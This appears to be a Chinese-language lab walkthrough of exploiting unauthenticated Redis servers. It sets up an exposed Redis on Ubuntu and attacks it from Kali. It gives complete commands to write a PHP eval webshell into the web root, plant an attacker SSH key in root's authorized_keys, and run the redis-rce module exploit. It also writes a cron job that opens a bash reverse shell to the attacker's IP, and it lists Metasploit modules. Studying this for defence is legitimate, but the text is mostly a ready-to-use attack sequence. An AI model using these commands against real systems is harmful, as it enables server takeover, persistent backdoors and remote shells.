Redis未授权访问漏洞总结
前言
在安装redis的时候建议采用wget方式安装,本人通过apt安装的时候,在设置完各种东西,save的时候总报错,为此折腾了一上午。
redis安装
ubuntu安装redis
apt-get install gcc && make
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
编译之后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下
cd src/
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/
编辑/etc/redis.conf文件
将 bind 127.0.0.1 修改为bind 0.0.0.0;允许任意主机连接
将 protected-mode yes 改为no;关闭远程连接保护
将daemonize no 改为yes;允许后台运行
运行redis服务
redis-server /etc/redis.conf
查看redis是否运行
ps -aux | grep 6379
windows下载redis客户端
下载地址:https://github.com/microsoftarchive/redis/releases
解压Redis-x64-3.2.100.zip,进入目录,按住shift,右击空白处,选择打开powershell窗口
运行redis-cli.exe,连接192.168.1.115的redis
.\redis-cli.exe -h 192.168.1.115
未授权访问-webshell写入
前提条件:知道网站的绝对路径。
任意文件写入的时候,服务器必须拥有该目录,否则会报错,提示:(error) ERR Changing directory: No such file or directory
命令
config set dir /var/www/html 设置web目录
config set dbfilename webshell.php 设置备份文件名
set shell "<?php @eval($_POST['shell']);?>" 设置值
save 保存
进入到ubuntu /var/www/html目录中,查看文件是否写入
ssh免密码登录
kali为攻击机
ubuntu为受害机
windows连接ubuntu redis数据库
在kali中执行下面命令,生成密钥,不用输入任何东西,一直回车,直到密钥生成
ssh-keygen -t rsa
进入到/root/.ssh/目录,查看id_rsa.pub文件,并复制内容
进入到ubuntu中,输入命令ssh-keygen,也是一直回车,直到密钥生成,会自动在/root/.ssh/目录中生成id_rsa id_rsa.pub俩个文件,默认是不存在.ssh目录的。
在windows redis-cli.exe中执行以下命令,set x 的内容为kali中id_rsa.pub的值
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4pxdRRXwD8A+7WlfB4plgmlrMjvLlrPXrW6kmm03Nlnifk/Pvi76gu2/enOLiHmIG8g8AFhv8G436KZy91c3K/Kag2fpNXBK3Nv981PEFE0yqNoGENMSyef9sRhX1KDzgRvSHH2BRF6WBW/G1r9ZlXcMuIyciBsOva7f1eUXVvd20o5Lk4oMFFbD+ELzhdgjYBL0aeOu9uLfKoRtgxPAhYC2JRPtp/CPkzCbMxW54vUWyoWi9i4raaUOsFriu/V6f51Pzs+6hvsy+cExwJvseqsFGHXHy3b10MbTxhlsTAxyCQ53CVV7PVyh1oCcuOOZYfOVLXbxZsXJmBV4w0fX3wAUZshrfzbEmKt04cU05ZS453pjL2h/l+Kpt11zHN8B/0vwhTv8w8pzKV5ZrZU+vn6zuV36RBcRT35xHWcuB6QvYYX1nzP8DE3FBjSftJi+ifRZSBf8rp9iJ9VbIyV0aXaUKZMPDNsURsmqE1yJy+OH+vzoddU3TlSbksg6dj28= root@kali\n\n\n"
save
在kali中执行下面命令,输入yes,成功连接到目标主机
ssh -i id_rsa root@192.168.1.115
redis 4.0~5.0 rce漏洞
在kali中下载exp
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
编译so文件
cd RedisModules-ExecuteCommand/
ls
make
复制module.so到redis-rce目录下
cp module.so /var/local/redis-rce/
在kali中使用nc监听本地的1234端口
nc -lnvp 1234
运行下面命令
cd redis-rce/
python3 redis-rce.py -r 192.168.1.115 -L 192.168.1.110 -f module.so
bash反弹
在windows中redis-cli中执行
.\redis-cli.exe -h 192.168.1.115
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.110/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
在kali中使用nc进行监听
nc -lnvp 6666
这里反弹shell失败了,原因是ubuntu下无法反弹,条件是centos反弹
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
msf下利用模块
auxiliary/scanner/redis/file_upload normal Redis File Upload
auxiliary/scanner/redis/redis_login normal Redis Login Utility
auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner